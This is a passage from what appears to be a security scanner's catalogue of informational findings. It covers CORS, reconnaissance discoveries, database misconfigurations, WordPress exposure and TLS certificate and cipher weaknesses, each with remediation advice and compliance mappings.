Description: Siphon detected that the API responds with Access-Control-Allow-Origin: * on one or more endpoints. A wildcard CORS policy permits any origin to read responses from cross-origin requests made without credentials. While browsers enforce that credentialed requests (those sending cookies or Authorization headers) cannot be used with a wildcard origin, non-credentialed responses are still readable by any cross-origin JavaScript. This is informational for truly public API endpoints, but becomes a vulnerability if the endpoint returns semi-sensitive data (API schema details, user-agnostic configuration, analytics), is intended to be restricted by origin, or is accessible using bearer tokens passed in headers (which are treated as credentials and blocked, but may be overlooked in custom implementations).
Remediation: Review whether the wildcard CORS policy is intentional and appropriate for each affected endpoint. For public endpoints returning only non-sensitive, non-authenticated data, a wildcard is acceptable. For endpoints returning any data that should be origin-restricted, replace the wildcard with an explicit origin allowlist. Ensure that no endpoint combining Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true exists (this combination is invalid per spec and indicates misconfiguration). Document the CORS policy for each API endpoint as part of the API security specification.
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
INFO SI-165 — Rate Limit Headers Expose Throttling Configuration
Description: API responses include rate-limiting headers (X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset) that reveal exact throttling thresholds.
Impact: An attacker can read the rate limit, remaining quota, and reset window to precisely calibrate brute-force attacks to stay just under the limit, making detection harder.
Remediation: Evaluate whether rate limit headers are necessary in production. If kept, combine with exponential backoff enforcement and account lockout.
Effort: Easy
OWASP API: API4:2023 Unrestricted Resource Consumption
INFO SI-167 — Web Endpoint Discovered (Katana)
Description: Katana web crawler discovered accessible web paths, JavaScript-referenced endpoints, and linked resources on the target application. Katana performs headless or passive crawling to enumerate the full reachable surface of a web application, including dynamically generated links.
Impact: Discovered endpoints expand the known attack surface for further API and web security testing. Hidden or undocumented paths may expose administrative interfaces, debug endpoints, or sensitive functionality not intended for public access.
Remediation: Review all discovered endpoints for unintended exposure. Remove or restrict access to administrative, debug, and development endpoints in production. Implement proper access controls on all discovered paths.
Effort: Moderate
CVSS Vector: N/A
OWASP API: API9:2023 Improper Inventory Management
MITRE ATT&CK: T1595.002 (Reconnaissance)
NIST 800-53: CM-8
INFO SS-070 — Unnecessary/Outdated Website Available
Description: The website shows indicators of being outdated, abandoned, or unnecessary, such as old copyright dates, under-construction messages, or default server landing pages.
Impact: Outdated websites may contain unpatched vulnerabilities, deprecated frameworks, or unnecessary attack surface that increases the organization's risk profile.
Remediation: Remove or decommission unnecessary websites. Update outdated content and frameworks. Replace default server pages with proper content or restrict access.
Effort: Easy
OWASP Web: A05:2025 Security Misconfiguration
MITRE ATT&CK: T1595 (Reconnaissance)
NIST 800-53: CM-7
PCI DSS 4: 6.3.2
INFO SS-088 — Information Disclosure: Sensitive Path in robots.txt
Description: The robots.txt file contains Disallow entries for potentially sensitive paths such as admin panels, backup directories, configuration files, or development endpoints.
Impact: While robots.txt instructs well-behaved crawlers to skip listed paths, it simultaneously advertises them to attackers. Sensitive paths in robots.txt serve as a roadmap for targeted enumeration and exploitation.
Remediation: Review robots.txt entries for sensitive paths. Remove entries that disclose internal structure. Ensure listed paths require authentication regardless of robots.txt.
Effort: Easy
CVSS Vector: N/A
OWASP Web: A05:2021 Security Misconfiguration
MITRE ATT&CK: T1592.002 (Reconnaissance)
INFO SS3-001 — Live Host Discovered
Description: A host responded to ICMP ping or TCP probe during phase 1 host discovery. The host is alive and will be included in subsequent scan phases.
Remediation: Document all discovered hosts and verify they are authorised to be present on the network segment.
CVSS Vector: N/A
OWASP Web: N/A
INFO SS3-002 — Open Port Discovered
Description: An open TCP/UDP port was detected on a live host. The service listening on the port will be probed for version information and vulnerabilities.
Impact: Each discovered open port represents a network service accessible to attackers. Identifying all open ports is a prerequisite for targeted service exploitation and provides the baseline for vulnerability assessment.
Remediation: Review all open ports and close any that are not required for business operations.
CVSS Vector: N/A
OWASP Web: OWASP-A05:2021
INFO SS3-031 — Active Directory Domain Controller Identified
Description: A host with open ports 88 (Kerberos), 389 (LDAP), and/or 3268 (Global Catalog) was identified as a likely Active Directory domain controller.
Remediation: Ensure domain controllers are hardened per Microsoft Security Compliance Baseline. Restrict DC access to authorised management subnets.
CVSS Vector: N/A
OWASP Web: N/A
INFO SS3-082 — Discovery: Login Page
Description: A web application login page was detected on the target host. Login pages represent the primary authentication attack surface for credential brute-force, password spray, and credential stuffing attacks. The presence of a login page is recorded for documentation and to guide subsequent authentication testing phases.
Remediation: Ensure the login page is protected by account lockout or rate limiting. Implement MFA. Monitor for credential stuffing patterns in authentication logs. Restrict login page access to authorised networks where feasible.
Effort: Low
CVSS Vector: N/A
OWASP Web: N/A
MITRE ATT&CK: T1078 (Initial Access), T1589 (Reconnaissance)
NIST 800-53: IA-2, AC-2
PCI DSS 4: 8.2.1
INFO SS3-083 — Discovery: Web Page
Description: A web page or HTTP service was identified on a non-standard port or host during service enumeration. The URL, title, status code, and response headers are recorded in the finding evidence for subsequent web application testing phases. This finding documents the presence of a web-accessible service for the engagement scope.
Impact: Identified web pages confirm active web content and reveal application structure, response patterns, and technology indicators. This information guides targeted testing of discovered endpoints and functionality.
Remediation: Review all web services exposed on the host and verify they are authorised and required. Remove or restrict access to any web interfaces that are not required for business operations.
Effort: Low
CVSS Vector: N/A
OWASP Web: N/A
MITRE ATT&CK: T1590 (Reconnaissance)
NIST 800-53: CM-8, RA-2
PCI DSS 4: 12.5.1
INFO SS3-085 — Application Identified at Login Page
Description: The web application framework, CMS, or product was identified from the login page content, headers, cookies, or source code. The identified application is recorded for CVE research, default credential testing, and targeted plugin/component enumeration. Application fingerprinting provides the basis for targeted vulnerability research.
Remediation: Suppress application version information in HTTP headers and page source. Remove application-identifying comments and metadata from public-facing pages. This is a reconnaissance finding; remediate the underlying application vulnerabilities identified in subsequent scans.
Effort: Low
CVSS Vector: N/A
OWASP Web: N/A
MITRE ATT&CK: T1590 (Reconnaissance)
NIST 800-53: CM-8, RA-2
PCI DSS 4: 12.5.1
INFO SS3-086 — Authentication Method Identified
Description: The authentication mechanism used by the target web application or service was identified. This includes HTTP Basic, NTLM, Digest, Form-based, OAuth, SAML, or certificate-based authentication. The identified authentication method guides subsequent brute-force, session management, and authentication bypass testing, and is recorded for documentation.
Remediation: Ensure the identified authentication method is appropriate for the sensitivity of the resource. HTTP Basic authentication over HTTP (unencrypted) should be replaced with form-based authentication over HTTPS. Legacy NTLM authentication should be replaced with Kerberos or modern token-based authentication.
Effort: Low
CVSS Vector: N/A
OWASP Web: N/A
MITRE ATT&CK: T1590 (Reconnaissance)
NIST 800-53: CM-8, RA-2
PCI DSS 4: 12.5.1
INFO SS3-099 — SSL/TLS Certificate: Serial Number Entropy
Description: The TLS certificate serial number has low entropy, suggesting it was generated with a non-random or predictable serial number algorithm. CA/Browser Forum Baseline Requirements (Section 7.1) require that certificate serial numbers contain at least 64 bits of unpredictable entropy. Low-entropy serial numbers may indicate an outdated certificate authority or CA software configuration, and in conjunction with other weaknesses can facilitate certificate collision or impersonation attacks.
Impact: Low entropy in certificate serial numbers indicates weak random number generation in the issuing CA's infrastructure. This can enable serial number prediction attacks that facilitate certificate forgery.
Remediation: Replace the certificate if issued by an internal CA with an outdated serial number generation algorithm. Update the internal CA software or configuration to generate serial numbers with at least 64 bits of CSPRNG-sourced entropy. For externally issued certificates, verify the CA is CA/B Forum compliant.
Effort: Low
CVSS Vector: N/A
OWASP Web: N/A
MITRE ATT&CK: T1596.003 (Reconnaissance)
NIST 800-53: SC-17
PCI DSS 4: 4.2.1
INFO SS3-105 — OS Version Detected
Description: The operating system name and version were detected via service banner analysis, TCP/IP stack fingerprinting, or SMB/RPC responses. The identified OS version is recorded for CVE correlation, EOL status assessment, and engagement documentation. OS version information guides patch level assessment in subsequent phases.
Remediation: This is an informational finding. Review the detected OS version against vendor support timelines. Initiate patch level assessment to confirm OS patch currency. Suppress OS version information from public-facing service banners where possible.
Effort: Low
CVSS Vector: N/A
OWASP Web: N/A
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1592.002 (Reconnaissance)
NIST 800-53: CM-7, SI-12
PCI DSS 4: 6.2.4
INFO SS3-108 — Software Version Detected
Description: A specific software version was detected on the target host via service banner, HTTP header, or application response fingerprinting. The detected version is recorded for CVE correlation, EOL status assessment, and public exploit research. Software version disclosure aids an attacker in selecting targeted exploit tooling without active exploitation.
Impact: Disclosed software versions allow an attacker to search vulnerability databases for known CVEs affecting that specific version, reducing the effort required for targeted exploitation. Version information also reveals the organization's patching cadence and maintenance practices.
Remediation: This is an informational finding. Cross-reference the detected version against the NVD and vendor security bulletins for known vulnerabilities. Suppress version information from service banners and HTTP headers where possible to reduce information exposure.
Effort: Low
CVSS Vector: N/A
OWASP Web: N/A
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1592.002 (Reconnaissance)
NIST 800-53: CM-7, SI-12
PCI DSS 4: 6.2.4
INFO SS3-180 — SSH Configuration: Algorithm Hardening
Description: ssh-audit reports informational-severity recommendations for the SSH server's algorithm configuration. These are not vulnerabilities but represent opportunities to harden the configuration further by adding modern algorithms or removing older but still-secure ones.
Impact: No direct impact at this severity. Addressing these recommendations improves the long-term cryptographic posture of the SSH service and reduces the surface for future downgrade or algorithm-confusion attacks as cryptographic best-practice evolves.
Remediation: Review the ssh-audit recommendations in the Output field. Update sshd_config (or vendor-equivalent) to add the recommended modern algorithms (e.g. sntrup761x25519-sha512@openssh.com, curve25519-sha256) and remove deprecated algorithms not required for legacy client compatibility. Restart sshd and re-run ssh-audit to confirm the recommendations have been resolved.
Effort: Moderate
NIST 800-53: SC-8, SC-13, SI-2
INFO SS3-182 — VNC: Authentication Required But Accessible
Description: A VNC service is accessible on the network and requires authentication. While authentication is enforced, the service is reachable for brute-force attacks.
Impact: VNC is reachable on the network, providing a target for credential brute-force attacks and potential exploitation of VNC implementation vulnerabilities.
Remediation: Restrict VNC access to trusted networks. Consider disabling VNC if not required or replacing with a more secure remote access solution.
Effort: Easy
CVSS Vector: N/A
NIST 800-53: AC-17
INFO SS3-184 — Discovery: WinRM Service
Description: The WinRM service is active and responding on the network. Authentication is required but the service is reachable as an attack surface.
Impact: WinRM exposure provides a lateral movement target for attackers with valid credentials. Authentication methods exposed in WWW-Authenticate may guide attack strategy.
Remediation: Restrict WinRM access to trusted management networks via firewall rules. Disable WinRM if not operationally required.
Effort: Easy
CVSS Vector: N/A
MITRE ATT&CK: T1021.006 (Lateral Movement)
NIST 800-53: AC-17
INFO SS3-189 — Kubernetes API Endpoint Detected
Description: A Kubernetes API endpoint was detected on the network. Authentication is enforced but the endpoint's presence confirms a Kubernetes deployment.
Impact: Confirms Kubernetes infrastructure for further targeted attacks. Version information may aid CVE exploitation.
Remediation: Ensure the Kubernetes API is not exposed to untrusted networks. Verify RBAC is properly configured.
Effort: Easy
CVSS Vector: N/A
NIST 800-53: CM-8
INFO SS3-195 — MQTT Broker Detected
Description: An MQTT broker was detected on the network. Authentication is enforced (CONNACK rejected unauthenticated connection).
Impact: Confirms an MQTT deployment for further targeted testing. The broker may be part of IoT or SCADA infrastructure.
Remediation: Verify MQTT broker authentication and ACLs are properly configured. Ensure TLS is enabled for production deployments.
CVSS Vector: N/A
NIST 800-53: CM-8
INFO SS3-197 — RabbitMQ Management UI Exposed
Description: The RabbitMQ management UI on port 15672 is accessible on the network. Default credentials were rejected, indicating custom authentication is in place.
Impact: The management interface is a brute-force target. Successful authentication provides full administrative control of the message broker.
Remediation: Restrict RabbitMQ management UI access to trusted management networks. Ensure strong authentication is configured.
Effort: Easy
CVSS Vector: N/A
NIST 800-53: AC-17
INFO SS3-198 — AMQP Service Detected
Description: An AMQP service was detected on port 5672. The protocol header exchange confirmed the service accepts AMQP 0-9-1 connections.
Impact: Confirms message broker infrastructure for further targeted testing.
Remediation: Verify AMQP authentication is properly configured. Restrict AMQP access to authorized clients only.
CVSS Vector: N/A
NIST 800-53: CM-8
INFO SS3-213 — Discovery: O365 Tenant Detected
Description: The target domain uses Microsoft 365 / Azure AD for email and authentication. MX records point to *.protection.outlook.com or the OpenID configuration endpoint confirms an Azure AD tenant.
Impact: Confirms the organization uses Microsoft 365, enabling targeted O365 account enumeration, credential spray, and phishing attacks against the tenant.
Remediation: Implement conditional access policies, enforce MFA, and configure Azure AD Smart Lockout to mitigate enumeration and credential spray attacks.
Effort: Moderate
MITRE ATT&CK: T1589.002 (Reconnaissance)
NIST 800-53: SC-7
INFO SS3-216 — X11 Display Detected (Authentication Required)
Description: An X11 display server is running but requires authentication to connect. The X11 protocol handshake was rejected with an authentication-required response.
Impact: The X11 service is exposed on the network but properly requires authentication. While the service itself is secured, exposure of X11 ports to untrusted networks increases the attack surface. If authentication credentials are weak or compromised, the display could be accessed remotely.
Remediation: Verify X11 is configured to listen only on localhost unless remote access is required. Use SSH X11 forwarding instead of direct connections. Apply firewall rules to restrict access to X11 ports.
Effort: Easy
CVSS Vector: N/A
OWASP Web: N/A
INFO AE-001 — Multiple APs Broadcasting SSID: {ssid_label}
INFO AE-002 — WPA Handshake / PMKID Captured: {ssid}
INFO AE-003 — WPA Pre-Shared Key Cracked via Deauth: {ssid}
INFO AE-004 — WPA Pre-Shared Key Cracked: {ssid}
INFO AE-005 — WPS PIN / Pixie Dust Succeeded: {ssid}
INFO AP-001 — AuthProbe Discovery: {host}
INFO AP-002 — Missing Security Header: {header}
INFO AP-003 — HTTP Basic Authentication in Use
INFO AU-001 — CouchDB Default Credentials: {user}/{pwd}
INFO AU-002 — End-of-Life Cassandra Version: {ver}
INFO AU-003 — End-of-Life Elasticsearch Version: {ver}
INFO AU-004 — End-of-Life MongoDB Version: {ver}
INFO AU-005 — End-of-Life MSSQL Version: SQL Server {yr}
INFO AU-006 — End-of-Life MySQL/MariaDB Version: {ver}
INFO AU-007 — End-of-Life Oracle Database Version: {ver}
INFO AU-008 — End-of-Life PostgreSQL Version: {ver_num}
INFO AU-009 — End-of-Life Redis Version: {ver}
INFO AU-010 — InfluxDB Default Credentials: {user}/{pwd}
INFO AU-011 — Neo4j Dangerous Procedure Publicly Accessible: {name}
INFO AU-012 — Neo4j Default Credentials: {user}/{pwd}
INFO AU-013 — Audit Logging Disabled
INFO AU-014 — Cassandra: AllowAllAuthenticator Configured (No Authentication)
INFO AU-015 — Cassandra: Client-to-Server Encryption Disabled
INFO AU-016 — Cassandra: Default cassandra/cassandra Credentials in Use
INFO AU-017 — Cassandra: Multiple Superuser Accounts
INFO AU-018 — Cleartext Database Protocol (No TLS/SSL)
INFO AU-019 — CouchDB Admin Party Mode — No Admin Accounts Configured
INFO AU-020 — CouchDB Node Configuration Exposed Without Authentication
INFO AU-021 — CouchDB: Unauthenticated Access to /_all_dbs
INFO AU-022 — Dangerous Oracle PUBLIC Execute Grants (UTL_FILE/DBMS_SQL etc.)
INFO AU-023 — Database Listening on All Network Interfaces (0.0.0.0)
INFO AU-024 — Default Credentials in Use
INFO AU-025 — Elasticsearch: Index Enumeration Without Authentication
INFO AU-026 — Elasticsearch: Security Features Disabled (X-Pack Security)
INFO AU-027 — Elasticsearch: Unauthenticated Cluster Information Exposed
INFO AU-028 — Excessive Oracle System Privileges Granted to Non-SYS Accounts
INFO AU-029 — Expired TLS Certificate
INFO AU-030 — InfluxDB 2.x Buckets Exposed Without Authentication
INFO AU-031 — InfluxDB 2.x Initial Setup Not Completed
INFO AU-032 — InfluxDB 2.x: Authorizations Endpoint Accessible Without Token
INFO AU-033 — Memcached: Cached Data Keys Enumerable Without Authentication
INFO AU-034 — Memcached: No Authentication (SASL Not Supported)
INFO AU-035 — Memcached: Runtime Statistics Accessible Without Authentication
INFO AU-036 — Memcached: SASL Authentication Disabled
INFO AU-037 — MongoDB: Authentication Disabled
INFO AU-038 — MongoDB: No TLS/SSL Configured
INFO AU-039 — MongoDB: Server-Side JavaScript Execution Enabled
INFO AU-040 — MongoDB: User with Root or __system Role
INFO AU-041 — MSSQL: Ad Hoc Distributed Queries Enabled
INFO AU-042 — MSSQL: BUILTIN\\Administrators in Sysadmin Role
INFO AU-043 — MSSQL: CLR Integration Enabled
INFO AU-044 — MSSQL: Database Mail Enabled
INFO AU-045 — MSSQL: Linked Servers Configured
INFO AU-046 — MSSQL: Mixed Mode Authentication with SQL Logins Not Subject to Password Policy
INFO AU-047 — MSSQL: OLE Automation Procedures Enabled
INFO AU-048 — MSSQL: SA Account Enabled
INFO AU-049 — MSSQL: Transparent Data Encryption (TDE) Not Enabled
INFO AU-050 — MSSQL: xp_cmdshell Enabled
INFO AU-051 — MySQL: Anonymous User Account Present
INFO AU-052 — MySQL: General Query Log Enabled
INFO AU-053 — MySQL: LOCAL INFILE Enabled
INFO AU-054 — MySQL: Password Validation Plugin Not Installed
INFO AU-055 — MySQL: Password Validation Policy Set to LOW
INFO AU-056 — MySQL: Root Account Accessible Remotely
INFO AU-057 — MySQL: secure_file_priv Not Configured
INFO AU-058 — MySQL: sql_mode Too Permissive
INFO AU-059 — MySQL: Symlink Support Enabled
INFO AU-060 — MySQL: Test Database Present and Accessible
INFO AU-061 — MySQL: TLS Not Required (Optional Only)
INFO AU-062 — MySQL: User Account with Wildcard Host (%)
INFO AU-063 — Neo4j Authentication Disabled (dbms.security.auth_enabled=false)
INFO AU-064 — Neo4j Cluster Mode Detected — Verify Firewall Isolation
INFO AU-065 — Oracle Accounts Using Weak 10g DES Password Hash
INFO AU-066 — Oracle Default Sample Schema Accounts Active
INFO AU-067 — Oracle Label Security (OLS) Not Enabled
INFO AU-068 — Oracle REMOTE_OS_AUTHENT Enabled
INFO AU-069 — Oracle Unified Auditing Disabled
INFO AU-070 — Oracle UTL_FILE_DIR Wildcard — Arbitrary File Read/Write
INFO AU-071 — PostgreSQL: Connection Logging Disabled
INFO AU-072 — PostgreSQL: COPY TO/FROM PROGRAM Feature Accessible
INFO AU-073 — PostgreSQL: Dangerous Extensions Installed
INFO AU-074 — PostgreSQL: Excessive Permissions on Public Schema
INFO AU-075 — PostgreSQL: Row-Level Security Not Enabled on Sensitive Tables
INFO AU-076 — PostgreSQL: Superuser Account Accessible Remotely
INFO AU-077 — PostgreSQL: Weak Password Encryption (MD5)
INFO AU-078 — Redis: Dangerous Commands Not Renamed or Disabled
INFO AU-079 — Redis: Default ACL User Has Full Access (nopass +@all)
INFO AU-080 — Redis: No Authentication Configured (requirepass Not Set)
INFO AU-081 — Redis: Protected Mode Disabled
INFO AU-082 — Self-Signed or Expired TLS Certificate
INFO AU-083 — Sensitive Data Columns Identified (Potential PII/PHI/PCI Scope)
INFO AU-084 — Weak Cipher Suites Accepted
INFO AU-085 — Weak TLS Version (TLS 1.0 or TLS 1.1)
INFO FR-341 — Admin Panel Exposed: {apath}
INFO FR-342 — CDN Active: {_recon_cdn}
Impact: Active CDN detection reveals the content delivery and security infrastructure protecting the application. An attacker uses this to identify CDN-specific bypass techniques, origin server discovery methods, and CDN configuration weaknesses.
INFO FR-343 — CMS Detected: {cms}
INFO FR-344 — Credentials/Secret in JavaScript: {secret_type}
INFO FR-345 — Deprecated Protocol Enabled: {_tsf_proto}
INFO FR-346 — Endpoint-Specific Security Header Found: {_hn}
INFO FR-347 — Exposed Admin/Debug Endpoint: {path}
INFO FR-348 — Hidden Parameter Discovered: {param}
INFO FR-349 — HTTP Header Fingerprints {_fp_tech}: {hdr_name}
INFO FR-350 — HTTP Header Fingerprints {_pn_fp_tech}: {pname}
INFO FR-351 — HTTP Method Tampering: {method} Accepted
INFO FR-352 — JWT Token Identified: Algorithm {alg}
INFO FR-353 — Missing Security Header: {_hdr_name}
Impact: Missing HTTP security headers reduce the browser's ability to enforce security boundaries, potentially exposing the application to client-side attacks. Each absent header represents a defense-in-depth layer that an attacker can bypass.
INFO FR-354 — Missing Security Header: {_hn}
Impact: Missing HTTP security headers reduce the browser's ability to enforce security boundaries, potentially exposing the application to client-side attacks. Each absent header represents a defense-in-depth layer that an attacker can bypass.
INFO FR-355 — Missing Security Header: {hdr_name}
Impact: Missing HTTP security headers reduce the browser's ability to enforce security boundaries, potentially exposing the application to client-side attacks. Each absent header represents a defense-in-depth layer that an attacker can bypass.
INFO FR-356 — Missing Security Header: {hdr}
Impact: Missing HTTP security headers reduce the browser's ability to enforce security boundaries, potentially exposing the application to client-side attacks. Each absent header represents a defense-in-depth layer that an attacker can bypass.
INFO FR-357 — Nuclei: {ntitle}
INFO FR-358 — PHP Error Log Exposed: {_el}
INFO FR-359 — Potential CDN Origin Bypass: {_recon_cdn}
INFO FR-360 — Public Exploit Available: {term}
INFO FR-361 — Sensitive File Exposed: {fpath}
INFO FR-362 — Sensitive Information in Source: {_sp_label}
INFO FR-363 — Sensitive Path Accessible: {cpath}
INFO FR-364 — Sensitive WordPress Path Accessible: {_ep}
INFO FR-365 — Server-Side Request Forgery (SSRF) — {ssrf_desc}
INFO FR-366 — Software Version Disclosed: {_vname} {_vver}
Impact: Disclosed software versions allow an attacker to search vulnerability databases for known CVEs affecting that specific version, reducing the effort required for targeted exploitation. Version information also reveals the organization's patching cadence and maintenance practices.
INFO FR-367 — SSL/TLS Grade: {_ts_grade}
Impact: The SSL/TLS grade reflects the overall strength of the server's TLS configuration including protocol versions, cipher suites, and certificate properties. A low grade indicates multiple weaknesses that collectively reduce the confidentiality and integrity of encrypted communications.
INFO FR-368 — SSL/TLS Vulnerability (Potential): {_tsf_id}
INFO FR-369 — SSL/TLS Vulnerability: {_tsf_id}
INFO FR-370 — Subdomain Takeover Indicator ({service})
INFO FR-371 — Subdomain Takeover — Dangling CNAME ({service})
INFO FR-372 — TimThumb Script Detected: {_t_name}{_tv2_str}
INFO FR-373 — Unauthenticated {_bi_name} Access: {_bi_desc}
INFO FR-374 — Unknown Header Identified: {hdr_name}
INFO FR-375 — Unknown Header Identified: {pname}
INFO FR-376 — Virtual Host Discovered: {full_vhost}
INFO FR-377 — WAF / Edge Security Platform Active: {_waf_names}
INFO FR-378 — WAF/CDN Challenge Page Active: {waf_cdn}
INFO FR-379 — WAF/CDN IP Block Detected: {waf_cdn}
Impact: Detection of WAF/CDN IP ranges confirms that direct access to the origin server is mediated by a security proxy. An attacker targets CDN bypass techniques (IP history, DNS records, misconfigurations) to reach the unprotected origin.
INFO FR-380 — WAF/CDN Possible Session Termination: {waf_cdn}
INFO FR-381 — WAF/CDN Session Termination Detected: {waf_cdn}
INFO FR-382 — Web Cache Poisoning: {_wcp_hdr} Reflected
INFO FR-383 — Wildcard (*) Detected: {url}
INFO FR-384 — WordPress Backup/Export File Exposed: {_bkp}
INFO FR-385 — WordPress Configuration Backup Exposed: {_cb}
INFO FR-386 — WordPress Directory Listing Enabled: {_dp}
INFO FR-387 — WordPress Parent Theme Detected: {_pt_name}{_pt_ver_str}
INFO FR-388 — WordPress Plugins Detected in Page Source ({len(_passive_plugins)} plugin(s))
INFO FR-389 — WordPress User Enumeration via Author Archives ({len(_author_users)} user(s))
INFO FR-390 — WordPress Users Exposed via REST API ({len(_ru_extracted)} user(s))
INFO FR-391 — Information Disclosure: WordPress Version
INFO FR-392 — Authentication Failure Detected
INFO FR-393 — Login Page Identified
INFO FR-394 — Missing Security Headers
Impact: Missing HTTP security headers reduce the browser's ability to enforce security boundaries, potentially exposing the application to client-side attacks including XSS, clickjacking, and MIME-type confusion. Implementing these headers is a low-effort, high-value hardening measure.
INFO FR-395 — Multi-Factor Authentication Detected
INFO FR-396 — No Web Structure Identified
Impact: The absence of web directory structure may indicate a single-page application, API-only service, or heavily restricted web root. This finding informs testing methodology — the tester should pivot to API enumeration and client-side analysis.
INFO FR-397 — SSL/TLS Certificate: Chain Incomplete
Impact: An incomplete certificate chain prevents clients from validating the certificate's trust path. Some clients may reject the connection outright, while others silently proceed without full validation, creating inconsistent security posture across the user base.
Remediation: Replace certificates with validity exceeding 398 days (Apple/browser-enforced limit). Ensure all certificates include Subject Alternative Names (SANs). Fix incomplete certificate chains by installing intermediate CA certificates. Automate certificate renewal with Let's Encrypt or ACME protocol. Use certificates with RSA-2048+ or ECDSA-256+ keys.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1552.004 (Credential Access)
NIST 800-53: SC-17, IA-5
PCI DSS 4: 4.2.1
INFO FR-398 — SSL/TLS Certificate: Long Duration
Impact: Long-lived certificates increase the window of exposure if the private key is compromised. Industry best practice limits certificate lifetime to reduce the impact of key compromise and ensure regular rotation of cryptographic material.
Remediation: Replace certificates with validity exceeding 398 days (Apple/browser-enforced limit). Ensure all certificates include Subject Alternative Names (SANs). Fix incomplete certificate chains by installing intermediate CA certificates. Automate certificate renewal with Let's Encrypt or ACME protocol. Use certificates with RSA-2048+ or ECDSA-256+ keys.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1552.004 (Credential Access)
NIST 800-53: SC-17, IA-5
PCI DSS 4: 4.2.1
INFO FR-399 — SSL/TLS Certificate: Missing SAN
Impact: A certificate without Subject Alternative Names (SAN) relies solely on the Common Name field for hostname validation. Modern browsers require SAN entries and may reject CN-only certificates, causing service interruptions and security warnings.
Remediation: Replace certificates with validity exceeding 398 days (Apple/browser-enforced limit). Ensure all certificates include Subject Alternative Names (SANs). Fix incomplete certificate chains by installing intermediate CA certificates. Automate certificate renewal with Let's Encrypt or ACME protocol. Use certificates with RSA-2048+ or ECDSA-256+ keys.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1552.004 (Credential Access)
NIST 800-53: SC-17, IA-5
PCI DSS 4: 4.2.1
INFO FR-400 — SSL/TLS Certificate: Serial Number Entropy
Impact: Low entropy in certificate serial numbers indicates weak random number generation in the issuing CA's infrastructure. This can enable serial number prediction attacks that facilitate certificate forgery.
Remediation: Informational: review the certificate issuer chain to confirm only trusted, internal or public CAs are authorised to issue certificates for this domain. Enrol the domain in Certificate Transparency monitoring (e.g., crt.sh alerts) to detect unauthorised issuance. Verify serial number entropy meets CABF Baseline Requirements (>= 64 bits).
Effort: Low
MITRE ATT&CK: T1596.003 (Reconnaissance)
NIST 800-53: SC-17
PCI DSS 4: 4.2.1
INFO FR-401 — SSL/TLS Certificate: Weak Encryption Method
Impact: Certificates signed with weak algorithms (SHA-1, MD5) are vulnerable to collision attacks that allow an attacker to forge a certificate with the same signature, enabling man-in-the-middle attacks that bypass certificate validation entirely.
Remediation: Replace certificates with validity exceeding 398 days (Apple/browser-enforced limit). Ensure all certificates include Subject Alternative Names (SANs). Fix incomplete certificate chains by installing intermediate CA certificates. Automate certificate renewal with Let's Encrypt or ACME protocol. Use certificates with RSA-2048+ or ECDSA-256+ keys.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1552.004 (Credential Access)
NIST 800-53: SC-17, IA-5
PCI DSS 4: 4.2.1
INFO FR-402 — SSL/TLS Cipher: No Cipher Order Configured
Impact: Without server-enforced cipher order, the client's cipher preference is used, which may select weaker ciphers over stronger alternatives. An attacker can manipulate the client to negotiate weak ciphers through downgrade attacks.
Remediation: Disable SSLv2, SSLv3, TLS 1.0, and TLS 1.1. Remove NULL, EXPORT, RC4, DES, 3DES, and ANON cipher suites. Enable server cipher order preference. Configure TLS session tickets securely or disable. Use testssl.sh or SSLLabs to validate. Require TLS 1.2 as minimum with TLS 1.3 preferred.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 – Cryptographic Failures
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-28, CM-6
PCI DSS 4: 4.2.1, 2.2.4
INFO FR-403 — SSL/TLS Ciphers: Obsolete Ciphers
Impact: Obsolete cipher suites such as RC4 and CBC-mode ciphers are vulnerable to known cryptographic attacks including CVE-2013-2566 (RC4 key stream bias) and CVE-2015-2808 (Bar Mitzvah attack). An attacker performing passive traffic capture can recover plaintext from sessions negotiated with these ciphers, compromising the confidentiality of all transmitted data including credentials and session tokens.
Remediation: Disable SSLv2, SSLv3, TLS 1.0, and TLS 1.1. Remove NULL, EXPORT, RC4, DES, 3DES, and ANON cipher suites. Enable server cipher order preference. Configure TLS session tickets securely or disable. Use testssl.sh or SSLLabs to validate. Require TLS 1.2 as minimum with TLS 1.3 preferred.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 – Cryptographic Failures
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-28, CM-6
PCI DSS 4: 4.2.1, 2.2.4
INFO FR-404 — SSL/TLS Session: Long Duration
Impact: Excessively long TLS session lifetimes increase the window for session resumption attacks and reduce the effectiveness of forward secrecy. Compromised session tickets remain valid for the entire session duration.
Remediation: Disable SSLv2, SSLv3, TLS 1.0, and TLS 1.1. Remove NULL, EXPORT, RC4, DES, 3DES, and ANON cipher suites. Enable server cipher order preference. Configure TLS session tickets securely or disable. Use testssl.sh or SSLLabs to validate. Require TLS 1.2 as minimum with TLS 1.3 preferred.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 – Cryptographic Failures
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-28, CM-6
